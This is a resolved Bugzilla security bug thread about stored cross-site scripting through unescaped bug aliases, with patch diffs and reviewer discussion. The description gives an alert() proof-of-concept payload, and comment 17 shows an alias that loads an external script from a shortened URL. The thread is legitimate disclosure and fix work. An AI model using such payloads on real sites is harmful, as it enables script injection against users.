1252437 - XSS vulnerability through malicious bug aliases

Status: RESOLVED FIXED

(bugzilla.mozilla.org :: General, defect)

Description

[Wladimir Palant]

In order to reproduce change the alias for any bug to the following:

> </title>"><script>alert(/xss/)</script>

After changing reload the bug. You will see two alerts saying "xss". One is coming from the alias being inserted unescaped in the bug title, the other from the same issue in the OpenGraph extension. The underlying issue is the same: template/en/default/bug/show-header.html.tmpl template escapes the bug description when composing the title variable but forgets to escape the alias. OpenGraph extension also assumes that this variable is escaped and takes it over without additional escaping.

The upstream fix landed two years ago: https://github.com/bugzilla/bugzilla/commit/11829ac0a3822b246b76c00375c7e4137f9af33b.

Comment 1

[Dylan Hardison [:dylan] (he/him)]

and this wasn't picked up by BMO because we only support a single alias, I imagine. :-/

Comment 3

[Dylan Hardison [:dylan] (he/him)]

The patch in https://github.com/bugzilla/bugzilla/commit/11829ac0a3822b246b76c00375c7e4137f9af33b is not sufficient to fix bmo.

Comment 4

[Dylan Hardison [:dylan] (he/him)]

Attachment: 1252437_1.patch

Fixes bug modal as well. quick review for the push?

Comment 5

[:glob ✱]

Comment on attachment 8725239 [details] [diff] [review]
1252437_1.patch

Review of attachment 8725239 [details] [diff] [review]:
-----------------------------------------------------------------

lgtm r=glob

::: extensions/BugModal/template/en/default/bug_modal/header.html.tmpl
@@ +15,4 @@
>    END;
>    title = "$bug.bug_id - ";
>    IF bug.alias;
> +    filtered_alias = bug.alias FILTER html; 

remove trailing whitespace

Comment 6

[Dylan Hardison [:dylan] (he/him)]

To ssh://[e-mail]/webtools/bmo/bugzilla.git
   8ce1053..33c79b8  master -> master

This is also going out today

Comment 7

[Dylan Hardison [:dylan] (he/him)]

Attachment: 1252437_2.patch

Quick fix for the BMO extension sabotaging the affair...

Comment 8

[Dylan Hardison [:dylan] (he/him)]

Attachment: 1252437_3.patch

Comment 9

[David Lawrence [:dkl]]

Comment on attachment 8725253 [details] [diff] [review]
1252437_3.patch

Review of attachment 8725253 [details] [diff] [review]:
-----------------------------------------------------------------

fixes the issue for me locally. r=dkl

::: extensions/BMO/template/en/default/hook/bug/show-header-end.html.tmpl
@@ +14,4 @@
>  [% END %]
>  [% title = "$bug.bug_id – " %]
>  [% IF bug.alias != '' %]
> +  [% filtered_alias = bug.alias FILTER html %]

No need for this as already declared in template/en/default/bug/show-header.html.tmpl

Comment 10

[Dylan Hardison [:dylan] (he/him)]

To ssh://[e-mail]/webtools/bmo/bugzilla.git
   33c79b8..c6e5e86  master -> master

Not changing the patch mid-stream, as I'm going to be changing everything that touches title after we're through this problem.

Comment 11

[Wladimir Palant]

1252437_1.patch shouldn't be obsolete, no? It landed as well and it's necessary in addition to 1252437_3.patch.

Comment 13

[Dylan Hardison [:dylan] (he/him)]

The reporter of the previous bug is long term bugzilla contributor Frederic Buclin and he said it was not worth a bounty. Possibly because aliases are limited to 20 characters.

Comment 14

[Wladimir Palant]

(In reply to Dylan William Hardison [:dylan] from comment #13)
> The reporter of the previous bug is long term bugzilla contributor Frederic
> Buclin and he said it was not worth a bounty.

Oh, I didn't realize that bug 842063 comment 6 was the bug reporter. Well, if he doesn't want a bounty then it's ok - the flag can be removed here then.

> Possibly because aliases are limited to 20 characters.

20 characters would have been tricky, going below 25 characters is hard. The actual length limit is 40 characters however which is more than sufficient for a malicious payload.

Comment 15

[Wladimir Palant]

Sorry about the bug spam, no idea how that status change happened.

Comment 16

[Daniel Veditz [:dveditz]]

Restoring bounty flag because this seems to be different from bug 842063: that patch was insufficient to fix us (comment 3), and our alias is apparently longer, possibly enough to cause problems. Wladimir did us a service by telling us we missed this issue.

Is there a way around the whitespace limitation? Without the ability to include external script src there's still probably not enough room to do anything worthwhile and sec-high would overstate the risk

Comment 17

[Wladimir Palant]

Sure, setting </title><script/src="//bit.ly/1Tn1h26"> as alias will happily load an external script.

Comment 18

[:glob ✱]

(In reply to Daniel Veditz [:dveditz] from comment #16)
> Restoring bounty flag because this seems to be different from bug 842063:
> that patch was insufficient to fix us (comment 3), and our alias is
> apparently longer, possibly enough to cause problems.

fwiw the bug alias length was increased from 20 to 40 chars upstream in bug 1012506 (via bug 833611) and as followed suit in bug 1062940. (after bug 842063).

Comment 19

[:glob ✱]

> .. and as followed suit in ..
.. and we followed suit in ..